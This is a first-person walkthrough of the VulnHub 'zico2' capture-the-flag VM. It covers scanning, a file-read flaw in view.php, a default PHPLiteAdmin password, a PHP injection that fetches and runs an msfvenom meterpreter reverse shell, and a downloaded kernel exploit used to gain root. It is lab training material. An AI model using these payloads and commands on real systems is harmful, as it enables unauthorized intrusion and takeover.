CTF Walkthrough: zico2

Okay, let’s give an “intermediate” CTF a shot here. Not sure what makes it harder yet, but I’m excited to get going, so let’s do this!

This Boot2Root VM is “zico2”, available from VulnHub.

The goal of this CTF is to get root and read the flag file. This VM works without issue in VirtualBox 5. Have fun!

First, as usual, nmap.

root@kali:~# nmap -sV -T4 -p-

Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-08 22:33 EST
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up (0.00018s latency).
Not shown: 65531 closed ports
22/tcp    open  tcpwrapped
80/tcp    open  http       Apache httpd 2.2.22 ((Ubuntu))
111/tcp   open  rpcbind    2-4 (RPC #100000)
53380/tcp open  status     1 (RPC #100024)
MAC Address: 08:00:27:98:69:CA (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1664.24 seconds

We’ll start with port 80. (I started a brute force ssh run in the background in the meantime, because you never know, but it came up with nothing.)

So let’s see what subdirectories gobuster comes up with.

root@kali:~# gobuster -u -w /usr/share/wordlists/dirb/big.txt 

Gobuster v1.2                OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/big.txt
[+] Status codes : 200,204,301,302,307
/LICENSE (Status: 200)
/css (Status: 301)
/dbadmin (Status: 301)
/img (Status: 301)
/index (Status: 200)
/js (Status: 301)
/package (Status: 200)
/tools (Status: 200)
/vendor (Status: 301)
/view (Status: 200)

First, the root, ( Just the start of a site, nothing interesting… except…

So, if it’s not obvious to you, it looks like maybe we’ll be able to use view.php to view files on the server.

list:x:38:38:Mailing List Manager:/var/list:/bin/sh 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false 

Cool, that might end up being helpful. Plus now we have some system accounts.

Checking out the other subdirectories, nothing else looks too interesting until I hit Inside there’s a test_db.php file, which give us a login page for PHPLiteAdmin v1.9.3.

A quick Google search show that the default password is “admin”, which isn’t changed as part of the initialization process. I’m guessing that since there are a few unfinished web frameworks here that the sys admin might not have completed setting everything up, so let’s try that. Although, who am I kidding, default passwords are always good to guess anyway.

It worked!

Looking through everything that’s here, there are a couple users (and their hashed passwords) in the test_users database, “info” table.

You can crack the passwords, they are “34kroot34” (for root), and “zico2215@” for zico. (Spoiler: I ended up not needing these, but maybe you’ll find them useful in finding another way in.)

Okay, let’s see if this has any known vulnerabilities.

It looks like it does! Long story short, if you create a database, you can specify the extension you want to use for it, and it will save that database in “/usr/databases”. So if you create a database with the “.php” extension, then you can create a table in that database with one text column, with a default value that is some valid php code, and when you view that “page” in a browser window, it will execute the PHP code. I’m not going to go into a ton of detail here, that’s what Google is for. 🙂

So I figured what I would do is the following:

  1. Create reverse shell executable to point back to my kali
  2. Share the executable via a python http server
  3. Start up a meterpreter listener
  4. Create some PHP code to download the executable, make it executable, and execute it to open the reverse shell
  5. Profit?

Step 1, create the reverse shell executable.

root@kali:~# msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -f elf -o /tmp/rshell
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: /tmp/rshell

Run the http server to host the file for download.

root@kali:/tmp# python3 -m http.server
Serving HTTP on port 8000 ...

Start meterpreter reverse TCP handler.

root@kali:/tmp# systemctl start postgresql
root@kali:/tmp# msfconsole -q
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > run
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 

Create the aforementioned database/table in PHPLiteAdmin with the following default value:

'<?php system("cd /tmp; wget; chmod 777 rshell; ./rshell"); ?>'

And then navigate to the following URL to run the PHP:

Meterpreter should now look something like this. You’ll have to hit enter, and then start the interaction with the session that was opened.

msf exploit(handler) > [*] Sending stage (847604 bytes) to
[*] Meterpreter session 1 opened ( -> at 2017-11-09 06:03:40 -0500
<hit enter>
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Start up a shell, and then use Python to get bash running. Because I like bash better. Then we figure out what version of the kernel we’re running, maybe we can find a privilege escalation exploit.

meterpreter > shell
Process 4407 created.
Channel 7 created.
python -c 'import pty; pty.spawn("/bin/bash");'
www-data@zico:/home/zico/wordpress$ cd /tmp
cd /tmp
www-data@zico:/tmp$ uname -a
uname -a
Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

Search exploit-db.com for the kernel version, and sure enough, there’s an exploit: “vnik” Download it, compile it, and run it, as per the instructions in the source.

www-data@zico:/tmp$ wget https://www.exploit-db.com/raw/33589/ -O vnik.c
wget https://www.exploit-db.com/raw/33589/ -O vnik.c
--2017-11-10 03:09:10--  https://www.exploit-db.com/raw/33589/
Resolving www.exploit-db.com (www.exploit-db.com)...
Connecting to www.exploit-db.com (www.exploit-db.com)||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3664 (3.6K) 
Saving to: `vnik.c'

100%[======================================>] 3,664       --.-K/s   in 0s      

2017-11-10 03:09:10 (313 MB/s) - `vnik.c' saved [3664/3664]

www-data@zico:/tmp$ gcc vnik.c -O2 -o vnik
gcc vnik.c -O2 -o vnik
www-data@zico:/tmp$ chmod 777 vnik
chmod 777 vnik
www-data@zico:/tmp$ ./vnik 0
./vnik 0
IDT addr = 0xffffffff81dd7000
Using int = 3 with offset = -49063
root@zico:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@zico:/tmp# ls /root
ls /root
root@zico:/tmp# cat /root/flag.txt
cat /root/flag.txt
# You did it! Congratz!
# Hope you enjoyed! 

And done! That wasn’t too hard! I did enjoy it though.

Until next time!